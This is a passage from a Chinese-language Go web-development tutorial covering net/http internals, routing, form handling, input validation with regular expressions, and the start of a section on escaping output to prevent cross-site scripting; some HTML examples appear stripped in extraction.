46 | 47 | 看看瀏覽器輸出的是什麼,伺服器輸出的是什麼? 48 | 49 | 在伺服器端輸出的資訊如下: 50 | 51 | ![](images/3.2.goweb.png) 52 | 53 | 圖 3.8 使用者存取 Web 之後伺服器端列印的資訊 54 | 55 | 我們看到上面的程式碼,要編寫一個 Web 伺服器很簡單,只要呼叫 http 套件的兩個函式就可以了。 56 | 57 | >如果你以前是 PHP 程式設計師,那你也許就會問,我們的 nginx、apache 伺服器不需要嗎?Go 就是不需要這些,因為他直接就監聽 tcp 埠了,做了 nginx 做的事情,然後 sayhelloName 這個其實就是我們寫的邏輯函數了,跟 php 裡面的控制層(controller)函式類似。 58 | 59 | >如果你以前是 Python 程式設計師,那麼你一定聽說過 tornado,這個程式碼和他是不是很像,對,沒錯,Go 就是擁有類似 Python 這樣動態語言的特性,寫 Web 應用很方便。 60 | 61 | >如果你以前是 Ruby 程式設計師,會發現和 ROR 的/script/server 啟動有點類似。 62 | 63 | 我們看到 Go 透過簡單的幾行程式碼就已經執行起來一個 Web 服務了,而且這個 Web 服務內部有支援高併發的特性,我將會在接下來的兩個小節裡面詳細的講解一下 Go 是如何實現 Web 高併發的。 64 | 65 | ## links 66 | * [目錄](preface.md) 67 | * 上一節: [Web 工作方式](03.1.md) 68 | * 下一節: [Go 如何使得 web 工作](03.3.md) 69 | -------------------------------------------------------------------------------- /03.3.md: -------------------------------------------------------------------------------- 1 | # 3.3 Go 如何使得 Web 工作 2 | 前面小節介紹了如何透過 Go 建立一個 Web 服務,我們可以看到簡單應用一個 net/http 套件就方便的建立起來了。那麼 Go 在底層到底是怎麼做的呢?萬變不離其宗,Go 的 Web 服務工作也離不開我們第一小節介紹的 Web 工作方式。 3 | 4 | ## web 工作方式的幾個概念 5 | 6 | 以下均是伺服器端的幾個概念 7 | 8 | Request:使用者請求的資訊,用來解析使用者的請求資訊,包括 post、get、cookie、url 等資訊 9 | 10 | Response:伺服器需要反饋給客戶端的資訊 11 | 12 | Conn:使用者的每次請求連結 13 | 14 | Handler:處理請求和產生回傳資訊的處理邏輯 15 | 16 | ## 分析 http 套件執行機制 17 | 18 | 下圖是 Go 實現 Web 服務的工作模式的流程圖 19 | 20 | ![](images/3.3.http.png) 21 | 22 | 圖 3.9 http 套件執行流程 23 | 24 | 1. 建立 Listen Socket, 監聽指定的埠, 等待客戶端請求到來。 25 | 26 | 2. Listen Socket 接受客戶端的請求, 得到 Client Socket, 接下來透過 Client Socket 與客戶端通訊。 27 | 28 | 3. 處理客戶端的請求, 首先從 Client Socket 讀取 HTTP 請求的協議頭, 如果是 POST 方法, 還可能要讀取客戶端提交的資料, 然後交給相應的 handler 處理請求, handler 處理完畢準備好客戶端需要的資料, 透過 Client Socket 寫給客戶端。 29 | 30 | 這整個的過程裡面我們只要了解清楚下面三個問題,也就知道 Go 是如何讓 Web 執行起來了 31 | 32 | - 如何監聽埠? 33 | - 如何接收客戶端請求? 34 | - 如何分配 handler? 35 | 36 | 前面小節的程式碼裡面我們可以看到,Go 是透過一個函式 `ListenAndServe` 來處理這些事情的,這個底層其實這樣處理的:初始化一個 server 物件,然後呼叫了`net.Listen("tcp", addr)`,也就是底層用 TCP 協議建立了一個服務,然後監聽我們設定的埠。 37 | 38 | 下面程式碼來自 Go 的 http 套件的原始碼,透過下面的程式碼我們可以看到整個的 http 處理過程: 39 | 40 | ```Go 41 | 42 | func (srv *Server) Serve(l net.Listener) error { 43 | defer l.Close() 44 | var tempDelay time.Duration // how long to sleep on accept failure 45 | for { 46 | rw, e := l.Accept() 47 | if e != nil { 48 | if ne, ok := e.(net.Error); ok && ne.Temporary() { 49 | if tempDelay == 0 { 50 | tempDelay = 5 * time.Millisecond 51 | } else { 52 | tempDelay *= 2 53 | } 54 | if max := 1 * time.Second; tempDelay > max { 55 | tempDelay = max 56 | } 57 | log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) 58 | time.Sleep(tempDelay) 59 | continue 60 | } 61 | return e 62 | } 63 | tempDelay = 0 64 | c, err := srv.newConn(rw) 65 | if err != nil { 66 | continue 67 | } 68 | go c.serve() 69 | } 70 | } 71 | ``` 72 | 73 | 監聽之後如何接收客戶端的請求呢?上面程式碼執行監聽埠之後,呼叫了`srv.Serve(net.Listener)`函式,這個函式就是處理接收客戶端的請求資訊。這個函式裡面起了一個`for{}`,首先透過 Listener 接收請求,其次建立一個 Conn,最後單獨開了一個 goroutine,把這個請求的資料當做參數扔給這個 conn 去服務:`go c.serve()`。這個就是高併發體現了,使用者的每一次請求都是在一個新的 goroutine 去服務,相互不影響。 74 | 75 | 那麼如何具體分配到相應的函式來處理請求呢?conn 首先會解析 request:`c.readRequest()`,然後取得相應的 handler:`handler := c.server.Handler`,也就是我們剛才在呼叫函式 `ListenAndServe` 時候的第二個參數,我們前面例子傳遞的是 nil,也就是為空,那麼預設取得`handler = DefaultServeMux`,那麼這個變數用來做什麼的呢?對,這個變數就是一個路由器,它用來匹配 url 跳轉到其相應的 handle 函式,那麼這個我們有設定過嗎 ? 有,我們呼叫的程式碼裡面第一句不是呼叫了`http.HandleFunc("/", sayhelloName)`嘛。這個作用就是註冊了請求`/`的路由規則,當請求 uri 為"/",路由就會轉到函式 sayhelloName,DefaultServeMux 會呼叫 ServeHTTP 方法,這個方法內部其實就是呼叫 sayhelloName 本身,最後透過寫入 response 的資訊反饋到客戶端。 76 | 77 | 78 | 詳細的整個流程如下圖所示: 79 | 80 | ![](images/3.3.illustrator.png) 81 | 82 | 圖 3.10 一個 http 連線處理流程 83 | 84 | 至此我們的三個問題已經全部得到了解答,你現在對於 Go 如何讓 Web 跑起來的是否已經基本了解了呢? 85 | 86 | 87 | ## links 88 | * [目錄](preface.md) 89 | * 上一節: [GO 建立一個簡單的 web 服務](03.2.md) 90 | * 下一節: [Go 的 http 套件詳解](03.4.md) 91 | -------------------------------------------------------------------------------- /03.4.md: -------------------------------------------------------------------------------- 1 | # 3.4 Go 的 http 套件詳解 2 | 前面小節介紹了 Go 怎麼樣實現了 Web 工作模式的一個流程,這一小節,我們將詳細地解剖一下 http 套件,看它到底是怎樣實現整個過程的。 3 | 4 | Go 的 http 有兩個核心功能:Conn、ServeMux 5 | 6 | ## Conn 的 goroutine 7 | 8 | 與我們一般編寫的 http 伺服器不同, Go 為了實現高併發和高效能, 使用了 goroutines 來處理 Conn 的讀寫事件, 這樣每個請求都能保持獨立,相互不會阻塞,可以高效的回應網路事件。這是 Go 高效的保證。 9 | 10 | Go 在等待客戶端請求裡面是這樣寫的: 11 | 12 | ```Go 13 | 14 | c, err := srv.newConn(rw) 15 | if err != nil { 16 | continue 17 | } 18 | go c.serve() 19 | ``` 20 | 21 | 這裡我們可以看到客戶端的每次請求都會建立一個 Conn,這個 Conn 裡面儲存了該次請求的資訊,然後再傳遞到對應的 handler,該 handler 中便可以讀取到相應的 header 資訊,這樣保證了每個請求的獨立性。 22 | 23 | ## ServeMux 的自訂 24 | 我們前面小節講述 conn.server 的時候,其實內部是呼叫了 http 套件預設的路由器,透過路由器把本次請求的資訊傳遞到了後端的處理函式。那麼這個路由器是怎麼實現的呢? 25 | 26 | 它的結構如下: 27 | 28 | ```Go 29 | 30 | type ServeMux struct { 31 | mu sync.RWMutex //鎖,由於請求涉及到併發處理,因此這裡需要一個鎖機制 32 | m map[string]muxEntry // 路由規則,一個 string 對應一個 mux 實體,這裡的 string 就是註冊的路由表示式 33 | hosts bool // 是否在任意的規則中帶有 host 資訊 34 | } 35 | ``` 36 | 37 | 下面看一下 muxEntry 38 | 39 | ```Go 40 | 41 | type muxEntry struct { 42 | explicit bool // 是否精確匹配 43 | h Handler // 這個路由表示式對應哪個 handler 44 | 45 | pattern string //匹配字串 46 | } 47 | ``` 48 | 49 | 接著看一下 Handler 的定義 50 | 51 | ```Go 52 | 53 | type Handler interface { 54 | ServeHTTP(ResponseWriter, *Request) // 路由實現器 55 | } 56 | ``` 57 | 58 | Handler 是一個介面,但是前一小節中的 `sayhelloName` 函式並沒有實現 ServeHTTP 這個介面,為什麼能新增呢?原來在 http 套件裡面還定義了一個型別`HandlerFunc`,我們定義的函式 `sayhelloName` 就是這個 HandlerFunc 呼叫之後的結果,這個型別預設就實現了 ServeHTTP 這個介面,即我們呼叫了 HandlerFunc(f),強制型別轉換 f 成為 HandlerFunc 型別,這樣 f 就擁有了 ServeHTTP 方法。 59 | 60 | ```Go 61 | 62 | type HandlerFunc func(ResponseWriter, *Request) 63 | 64 | // ServeHTTP calls f(w, r). 65 | func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { 66 | f(w, r) 67 | } 68 | ``` 69 | 路由器裡面儲存好了相應的路由規則之後,那麼具體的請求又是怎麼分發的呢?請看下面的程式碼,預設的路由器實現了`ServeHTTP`: 70 | 71 | ```Go 72 | 73 | func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { 74 | if r.RequestURI == "*" { 75 | w.Header().Set("Connection", "close") 76 | w.WriteHeader(StatusBadRequest) 77 | return 78 | } 79 | h, _ := mux.Handler(r) 80 | h.ServeHTTP(w, r) 81 | } 82 | ``` 83 | 如上所示路由器接收到請求之後,如果是`*`那麼關閉連結,不然呼叫`mux.Handler(r)`回傳對應設定路由的處理 Handler,然後執行`h.ServeHTTP(w, r)` 84 | 85 | 也就是呼叫對應路由的 handler 的 ServerHTTP 介面,那麼 mux.Handler(r)怎麼處理的呢? 86 | 87 | ```Go 88 | 89 | func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { 90 | if r.Method != "CONNECT" { 91 | if p := cleanPath(r.URL.Path); p != r.URL.Path { 92 | _, pattern = mux.handler(r.Host, p) 93 | return RedirectHandler(p, StatusMovedPermanently), pattern 94 | } 95 | } 96 | return mux.handler(r.Host, r.URL.Path) 97 | } 98 | 99 | func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { 100 | mux.mu.RLock() 101 | defer mux.mu.RUnlock() 102 | 103 | // Host-specific pattern takes precedence over generic ones 104 | if mux.hosts { 105 | h, pattern = mux.match(host + path) 106 | } 107 | if h == nil { 108 | h, pattern = mux.match(path) 109 | } 110 | if h == nil { 111 | h, pattern = NotFoundHandler(), "" 112 | } 113 | return 114 | } 115 | ``` 116 | 原來他是根據使用者請求的 URL 和路由器裡面儲存的 map 去匹配的,當匹配到之後回傳儲存的 handler,呼叫這個 handler 的 ServeHTTP 介面就可以執行到相應的函數了。 117 | 118 | 透過上面這個介紹,我們了解了整個路由過程,Go 其實支援外部實現的路由器 `ListenAndServe`的第二個參數就是用以配置外部路由器的,它是一個 Handler 介面,即外部路由器只要實現了 Handler 介面就可以,我們可以在自己實現的路由器的 ServeHTTP 裡面實現自訂路由功能。 119 | 120 | 如下程式碼所示,我們自己實現了一個簡易的路由器 121 | 122 | ```Go 123 | 124 | package main 125 | 126 | import ( 127 | "fmt" 128 | "net/http" 129 | ) 130 | 131 | type MyMux struct { 132 | } 133 | 134 | func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { 135 | if r.URL.Path == "/" { 136 | sayhelloName(w, r) 137 | return 138 | } 139 | http.NotFound(w, r) 140 | return 141 | } 142 | 143 | func sayhelloName(w http.ResponseWriter, r *http.Request) { 144 | fmt.Fprintf(w, "Hello myroute!") 145 | } 146 | 147 | func main() { 148 | mux := &MyMux{} 149 | http.ListenAndServe(":9090", mux) 150 | } 151 | ``` 152 | ## Go 程式碼的執行流程 153 | 154 | 透過對 http 套件的分析之後,現在讓我們來梳理一下整個的程式碼執行過程。 155 | 156 | - 首先呼叫 Http.HandleFunc 157 | 158 | 按順序做了幾件事: 159 | 160 | 1 呼叫了 DefaultServeMux 的 HandleFunc 161 | 162 | 163 | 2 呼叫了 DefaultServeMux 的 Handle 164 | 165 | 166 | 3 往 DefaultServeMux 的 map[string]muxEntry 中增加對應的 handler 和路由規則 167 | 168 | - 其次呼叫 http.ListenAndServe(":9090", nil) 169 | 170 | 按順序做了幾件事情: 171 | 172 | 1 實體化 Server 173 | 174 | 2 呼叫 Server 的 ListenAndServe() 175 | 176 | 3 呼叫 net.Listen("tcp", addr)監聽埠 177 | 178 | 4 啟動一個 for 迴圈,在迴圈體中 Accept 請求 179 | 180 | 5 對每個請求實體化一個 Conn,並且開啟一個 goroutine 為這個請求進行服務 go c.serve() 181 | 182 | 6 讀取每個請求的內容 w, err := c.readRequest() 183 | 184 | 7 判斷 handler 是否為空,如果沒有設定 handler(這個例子就沒有設定 handler),handler 就設定為 DefaultServeMux 185 | 186 | 187 | 8 呼叫 handler 的 ServeHttp 188 | 189 | 190 | 9 在這個例子中,下面就進入到 DefaultServeMux.ServeHttp 191 | 192 | 10 根據 request 選擇 handler,並且進入到這個 handler 的 ServeHTTP 193 | 194 | 195 | mux.handler(r).ServeHTTP(w, r) 196 | 197 | 11 選擇 handler: 198 | 199 | A 判斷是否有路由能滿足這個 request(迴圈遍歷 ServeMux 的 muxEntry) 200 | 201 | B 如果有路由滿足,呼叫這個路由 handler 的 ServeHTTP 202 | 203 | 204 | C 如果沒有路由滿足,呼叫 NotFoundHandler 的 ServeHTTP 205 | 206 | 207 | ## links 208 | * [目錄](preface.md) 209 | * 上一節: [Go 如何使得 web 工作](03.3.md) 210 | * 下一節: [小結](03.5.md) 211 | -------------------------------------------------------------------------------- /03.5.md: -------------------------------------------------------------------------------- 1 | # 3.5 小結 2 | 這一章我們介紹了 HTTP 協議, DNS 解析的過程, 如何用 go 實現一個簡陋的 web server。並深入到 net/http 套件的原始碼中為大家揭開實現此 server 的祕密。 3 | 4 | 希望透過這一章的學習,你能夠對 Go 開發 Web 有了初步的了解,我們也看到相應的程式碼了,Go 開發 Web 應用是很方便的,同時又是相當的靈活。 5 | 6 | ## links 7 | * [目錄](preface.md) 8 | * 上一節: [Go 的 http 套件詳解](03.4.md) 9 | * 下一章: [表單](04.0.md) 10 | -------------------------------------------------------------------------------- /04.0.md: -------------------------------------------------------------------------------- 1 | # 4 表單 2 | 3 | 表單是我們平常編寫 Web 應用常用的工具,透過表單我們可以方便的讓客戶端和伺服器進行資料的互動。對於以前開發過 Web 的使用者來說表單都非常熟悉,但是對於 C/C++程式設計師來說,這可能是一個有些陌生的東西,那麼什麼是表單呢? 4 | 5 | 表單是一個包含表單元素的區域。表單元素(比如:文字域、下拉列表、單選框、複選框等等)是允許使用者在表單中輸入資訊的元素。表單使用表單標籤(\)定義。 6 | 7 |
8 | ... 9 | input 元素 10 | ... 11 |
12 | 13 | Go 裡面對於 form 處理已經有很方便的方法了,在 Request 裡面有專門的 form 處理,可以很方便的整合到 Web 開發裡面來,4.1 小節裡面將講解 Go 如何處理表單的輸入。由於不能信任任何使用者的輸入,所以我們需要對這些輸入進行有效性驗證,4.2 小節將就如何進行一些普通的驗證進行詳細的示範。 14 | 15 | HTTP 協議是一種無狀態的協議,那麼如何才能辨別是否是同一個使用者呢?同時又如何保證一個表單不出現多次提交的情況呢?4.3 和 4.4 小節裡面將對 cookie(cookie 是儲存在客戶端的資訊,能夠每次透過 header 和伺服器進行互動的資料)等進行詳細講解。 16 | 17 | 表單還有一個很大的功能就是能夠上傳檔案,那麼 Go 是如何處理檔案上傳的呢?針對大檔案上傳我們如何有效的處理呢?4.5 小節我們將一起學習 Go 處理檔案上傳的知識。 18 | 19 | ## 目錄 20 | ![](images/navi4.png) 21 | 22 | ## links 23 | * [目錄](preface.md) 24 | * 上一章: [第三章總結](03.5.md) 25 | * 下一節: [處理表單的輸入](04.1.md) 26 | -------------------------------------------------------------------------------- /04.1.md: -------------------------------------------------------------------------------- 1 | # 4.1 處理表單的輸入 2 | 3 | 先來看一個表單提交的例子,我們有如下的表單內容,命名成檔案 login.gtpl(放入當前建立專案的目錄裡面) 4 | ```html 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 使用者名稱: 13 | 密碼: 14 | 15 |
16 | 17 | 18 | ``` 19 | 上面提交表單到伺服器的`/login`,當用戶輸入資訊點選登入之後,會跳轉到伺服器的路由 `login` 裡面,我們首先要判斷這個是什麼方式傳遞過來,POST 還是 GET 呢? 20 | 21 | http 套件裡面有一個很簡單的方式就可以取得,我們在前面 web 的例子的基礎上來看看怎麼處理 login 頁面的 form 資料 22 | 23 | ```Go 24 | package main 25 | 26 | import ( 27 | "fmt" 28 | "html/template" 29 | "log" 30 | "net/http" 31 | "strings" 32 | ) 33 | 34 | func sayhelloName(w http.ResponseWriter, r *http.Request) { 35 | r.ParseForm() //解析 url 傳遞的參數,對於 POST 則解析 HTTP 回應內容的主體(request body) 36 | //注意 : 如果沒有呼叫 ParseForm 方法,下面無法取得表單的資料 37 | fmt.Println(r.Form) //這些資訊是輸出到伺服器端的列印資訊 38 | fmt.Println("path", r.URL.Path) 39 | fmt.Println("scheme", r.URL.Scheme) 40 | fmt.Println(r.Form["url_long"]) 41 | for k, v := range r.Form { 42 | fmt.Println("key:", k) 43 | fmt.Println("val:", strings.Join(v, "")) 44 | } 45 | fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的 46 | } 47 | 48 | func login(w http.ResponseWriter, r *http.Request) { 49 | fmt.Println("method:", r.Method) //取得請求的方法 50 | if r.Method == "GET" { 51 | t, _ := template.ParseFiles("login.gtpl") 52 | log.Println(t.Execute(w, nil)) 53 | } else { 54 | //請求的是登入資料,那麼執行登入的邏輯判斷 55 | fmt.Println("username:", r.Form["username"]) 56 | fmt.Println("password:", r.Form["password"]) 57 | } 58 | } 59 | 60 | func main() { 61 | http.HandleFunc("/", sayhelloName) //設定存取的路由 62 | http.HandleFunc("/login", login) //設定存取的路由 63 | err := http.ListenAndServe(":9090", nil) //設定監聽的埠 64 | if err != nil { 65 | log.Fatal("ListenAndServe: ", err) 66 | } 67 | } 68 | ``` 69 | 70 | 透過上面的程式碼我們可以看出取得請求方法是透過`r.Method`來完成的,這是個字串型別的變數,回傳 GET, POST, PUT 等 method 資訊。 71 | 72 | login 函式中我們根據`r.Method`來判斷是顯示登入介面還是處理登入邏輯。當 GET 方式請求時顯示登入介面,其他方式請求時則處理登入邏輯,如查詢資料庫、驗證登入資訊等。 73 | 74 | 當我們在瀏覽器裡面開啟`http://127.0.0.1:9090/login`的時候,出現如下介面 75 | 76 | ![](images/4.1.login.png) 77 | 78 | 如果你看到一個空頁面,可能是你寫的 login.gtpl 檔案中有錯誤,請根據控制檯中的日誌進行修復。 79 | 80 | 圖 4.1 使用者登入介面 81 | 82 | 我們輸入使用者名稱和密碼之後發現在伺服器端是不會顯示出來任何輸出的,為什麼呢?預設情況下,Handler 裡面是不會自動解析 form 的,必須明確的呼叫`r.ParseForm()`後,你才能對這個表單資料進行操作。我們修改一下程式碼,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新編譯,再次測試輸入提交,現在是不是在伺服器端有輸出你的輸入的使用者名稱和密碼了。 83 | 84 | `r.Form`裡面包含了所有請求的參數,比如 URL 中 query-string、POST 的資料、PUT 的資料,所以當你在 URL 中的 query-string 欄位和 POST 衝突時,會儲存成一個 slice,裡面儲存了多個值,Go 官方文件中說在接下來的版本里面將會把 POST、GET 這些資料分離開來。 85 | 86 | 現在我們修改一下 login.gtpl 裡面 form 的 action 值`http://127.0.0.1:9090/login`修改為`http://127.0.0.1:9090/login?username=astaxie`,再次測試,伺服器的輸出 username 是不是一個 slice。伺服器端的輸出如下: 87 | 88 | ![](images/4.1.slice.png) 89 | 90 | 圖 4.2 伺服器端列印接收到的資訊 91 | 92 | `request.Form`是一個 url.Values 型別,裡面儲存的是對應的類似 `key=value` 的資訊,下面展示了可以對 form 資料進行的一些操作: 93 | 94 | ```Go 95 | v := url.Values{} 96 | v.Set("name", "Ava") 97 | v.Add("friend", "Jess") 98 | v.Add("friend", "Sarah") 99 | v.Add("friend", "Zoe") 100 | // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" 101 | fmt.Println(v.Get("name")) 102 | fmt.Println(v.Get("friend")) 103 | fmt.Println(v["friend"]) 104 | ``` 105 | 106 | >**Tips**: 107 | >Request 本身也提供了 FormValue()函式來取得使用者提交的參數。如 r.Form["username"]也可寫成 r.FormValue("username")。呼叫 r.FormValue 時會自動呼叫 r.ParseForm,所以不必提前呼叫。r.FormValue 只會回傳同名參數中的第一個,若參數不存在則回傳空字串。 108 | 109 | ## links 110 | * [目錄](preface.md) 111 | * 上一節: [表單](04.0.md) 112 | * 下一節: [驗證表單的輸入](04.2.md) 113 | -------------------------------------------------------------------------------- /04.2.md: -------------------------------------------------------------------------------- 1 | # 4.2 驗證表單的輸入 2 | 3 | 開發 Web 的一個原則就是,不能信任使用者輸入的任何資訊,所以驗證和過濾使用者的輸入資訊就變得非常重要,我們經常會在微博、新聞中聽到某某網站被入侵了,存在什麼漏洞,這些大多是因為網站對於使用者輸入的資訊沒有做嚴格的驗證引起的,所以為了編寫出安全可靠的 Web 程式,驗證表單輸入的意義重大。 4 | 5 | 我們平常編寫 Web 應用主要有兩方面的資料驗證,一個是在頁面端的 js 驗證(目前在這方面有很多的外掛函式庫,比如 ValidationJS 外掛),一個是在伺服器端的驗證,我們這小節講解的是如何在伺服器端驗證。 6 | 7 | ## 必填欄位 8 | 你想要確保從一個表單元素中得到一個值,例如前面小節裡面的使用者名稱,我們如何處理呢?Go 有一個內建函式 `len` 可以取得字串的長度,這樣我們就可以透過 len 來取得資料的長度,例如: 9 | 10 | ```Go 11 | if len(r.Form["username"][0])==0{ 12 | //為空的處理 13 | } 14 | ``` 15 | `r.Form`對不同型別的表單元素的留空有不同的處理, 對於空文字框、空文字區域以及檔案上傳,元素的值為空值,而如果是未選中的複選框和單選按鈕,則根本不會在 r.Form 中產生相應條目,如果我們用上面例子中的方式去取得資料時程式就會報錯。所以我們需要透過`r.Form.Get()`來取得值,因為如果欄位不存在,透過該方式取得的是空值。但是透過`r.Form.Get()`只能取得單個的值,如果是 map 的值,必須透過上面的方式來取得。 16 | 17 | ## 數字 18 | 你想要確保一個表單輸入框中取得的只能是數字,例如,你想透過表單取得某個人的具體年齡是 50 歲還是 10 歲,而不是像“一把年紀了”或“年輕著呢”這種描述 19 | 20 | 如果我們是判斷正整數,那麼我們先轉化成 int 型別,然後進行處理 21 | 22 | ```Go 23 | getint,err:=strconv.Atoi(r.Form.Get("age")) 24 | if err!=nil{ 25 | //數字轉化出錯了,那麼可能就不是數字 26 | } 27 | 28 | //接下來就可以判斷這個數字的大小範圍了 29 | if getint >100 { 30 | //太大了 31 | } 32 | ``` 33 | 還有一種方式就是正則匹配的方式 34 | 35 | ```Go 36 | if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { 37 | return false 38 | } 39 | ``` 40 | 對於效能要求很高的使用者來說,這是一個老生常談的問題了,他們認為應該儘量避免使用正則表示式,因為使用正則表示式的速度會比較慢。但是在目前機器效能那麼強勁的情況下,對於這種簡單的正則表示式效率和型別轉換函式是沒有什麼差別的。如果你對正則表示式很熟悉,而且你在其它語言中也在使用它,那麼在 Go 裡面使用正則表示式將是一個便利的方式。 41 | 42 | >Go 實現的正則是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字元都是 UTF-8 編碼的。 43 | 44 | ## 中文 45 | 有時候我們想透過表單元素取得一個使用者的中文名字,但是又為了保證取得的是正確的中文,我們需要進行驗證,而不是使用者隨便的一些輸入。對於中文我們目前有兩種方式來驗證,可以使用 `unicode` 套件提供的 `func Is(rangeTab *RangeTable, r rune) bool` 來驗證,也可以使用正則方式來驗證,這裡使用最簡單的正則方式,如下程式碼所示 46 | 47 | ```Go 48 | if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { 49 | return false 50 | } 51 | ``` 52 | ## 英文 53 | 我們期望透過表單元素取得一個英文值,例如我們想知道一個使用者的英文名,應該是 astaxie,而不是 asta 謝。 54 | 55 | 我們可以很簡單的透過正則驗證資料: 56 | 57 | ```Go 58 | if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { 59 | return false 60 | } 61 | ``` 62 | 63 | ## 電子郵件地址 64 | 你想知道使用者輸入的一個 Email 地址是否正確,透過如下這個方式可以驗證: 65 | 66 | ```Go 67 | if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { 68 | fmt.Println("no") 69 | }else{ 70 | fmt.Println("yes") 71 | } 72 | ``` 73 | 74 | ## 手機號碼 75 | 你想要判斷使用者輸入的手機號碼是否正確,透過正則也可以驗證: 76 | 77 | ```Go 78 | if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { 79 | return false 80 | } 81 | ``` 82 | ## 下拉選單 83 | 如果我們想要判斷表單裡面 ` 89 | 90 | 91 | 92 | 93 | ``` 94 | 那麼我們可以這樣來驗證 95 | 96 | ```Go 97 | slice:=[]string{"apple","pear","banana"} 98 | 99 | v := r.Form.Get("fruit") 100 | for _, item := range slice { 101 | if item == v { 102 | return true 103 | } 104 | } 105 | 106 | return false 107 | ``` 108 | ## 單選按鈕 109 | 如果我們想要判斷 radio 按鈕是否有一個被選中了,我們頁面的輸出可能就是一個男、女性別的選擇,但是也可能一個 15 歲大的無聊小孩,一手拿著 http 協議的書,另一隻手透過 telnet 客戶端向你的程式在傳送請求呢,你設定的性別男值是 1,女是 2,他給你傳送一個 3,你的程式會出現異常嗎?因此我們也需要像下拉選單的判斷方式類似,判斷我們取得的值是我們預設的值,而不是額外的值。 110 | ```html 111 | 112 | 男 113 | 女 114 | ``` 115 | 那我們也可以類似下拉選單的做法一樣 116 | 117 | ```Go 118 | slice:=[]string{"1","2"} 119 | 120 | for _, v := range slice { 121 | if v == r.Form.Get("gender") { 122 | return true 123 | } 124 | } 125 | return false 126 | ``` 127 | ## 複選框 128 | 有一項選擇興趣的複選框,你想確定使用者選中的和你提供給使用者選擇的是同一個型別的資料。 129 | ```html 130 | 131 | 足球 132 | 籃球 133 | 網球 134 | ``` 135 | 對於複選框我們的驗證和單選有點不一樣,因為接收到的資料是一個 slice 136 | 137 | ```Go 138 | slice:=[]string{"football","basketball","tennis"} 139 | a:=Slice_diff(r.Form["interest"],slice) 140 | if a == nil{ 141 | return true 142 | } 143 | 144 | return false 145 | ``` 146 | 上面這個函式 `Slice_diff` 套件含在我開源的一個函式庫裡面(操作 slice 和 map 的函式庫),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) 147 | 148 | ## 日期和時間 149 | 你想確定使用者填寫的日期或時間是否有效。例如 150 | ,使用者在日程表中安排 8 月份的第 45 天開會,或者提供未來的某個時間作為生日。 151 | 152 | Go 裡面提供了一個 time 的處理套件,我們可以把使用者的輸入年月日轉化成相應的時間,然後進行邏輯判斷 153 | 154 | ```Go 155 | t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) 156 | fmt.Printf("Go launched at %s\n", t.Local()) 157 | ``` 158 | 取得 time 之後我們就可以進行很多時間函式的操作。具體的判斷就根據自己的需求調整。 159 | 160 | ## 身份證號碼 161 | 如果我們想驗證表單輸入的是否是身份證,透過正則也可以方便的驗證,但是身份證有 15 位和 18 位,我們兩個都需要驗證 162 | 163 | ```Go 164 | //驗證 15 位身份證,15 位的是全部數字 165 | if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { 166 | return false 167 | } 168 | 169 | //驗證 18 位身份證,18 位前 17 位為數字,最後一位是校驗位,可能為數字或字元 X。 170 | if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { 171 | return false 172 | } 173 | ``` 174 | 175 | 上面列出了我們一些常用的伺服器端的表單元素驗證,希望透過這個引匯入門,能夠讓你對 Go 的資料驗證有所了解,特別是 Go 裡面的正則處理。 176 | 177 | ## links 178 | * [目錄](preface.md) 179 | * 上一節: [處理表單的輸入](04.1.md) 180 | * 下一節: [預防跨站指令碼](04.3.md) 181 | -------------------------------------------------------------------------------- /04.3.md: -------------------------------------------------------------------------------- 1 | # 4.3 預防跨站指令碼 2 | 3 | 現在的網站包含大量的動態內容以提高使用者體驗,比過去要複雜得多。所謂動態內容,就是根據使用者環境和需要,Web 應用程式能夠輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。 4 | 5 | 攻擊者通常會在有漏洞的程式中插入 JavaScript、VBScript、 ActiveX 或 Flash 以欺騙使用者。一旦得手,他們可以盜取使用者帳戶資訊,修改使用者設定,盜取/汙染 cookie 和植入惡意廣告等。 6 | 7 | 對 XSS 最佳的防護應該結合以下兩種方法:一是驗證所有輸入資料,有效檢測攻擊(這個我們前面小節已經有過介紹);另一個是對所有輸出資料進行適當的處理,以防止任何已成功注入的指令碼在瀏覽器端執行。 8 | 9 | 那麼 Go 裡面是怎麼做這個有效防護的呢?Go 的 html/template 裡面帶有下面幾個函式可以幫你轉義 10 | 11 | - func HTMLEscape(w io.Writer, b []byte) //把 b 進行轉義之後寫到 w 12 | - func HTMLEscapeString(s string) string //轉義 s 之後回傳結果字串 13 | - func HTMLEscaper(args ...interface{}) string //支援多個參數一起轉義,回傳結果字串 14 | 15 | 16 | 我們看 4.1 小節的例子 17 | 18 | ```Go 19 | fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到伺服器端 20 | fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) 21 | template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端 22 | ``` 23 | 如果我們輸入的 username 是``,那麼我們可以在瀏覽器上面看到輸出如下所示: 24 | 25 | ![](images/4.3.escape.png) 26 | 27 | 圖 4.3 Javascript 過濾之後的輸出 28 | 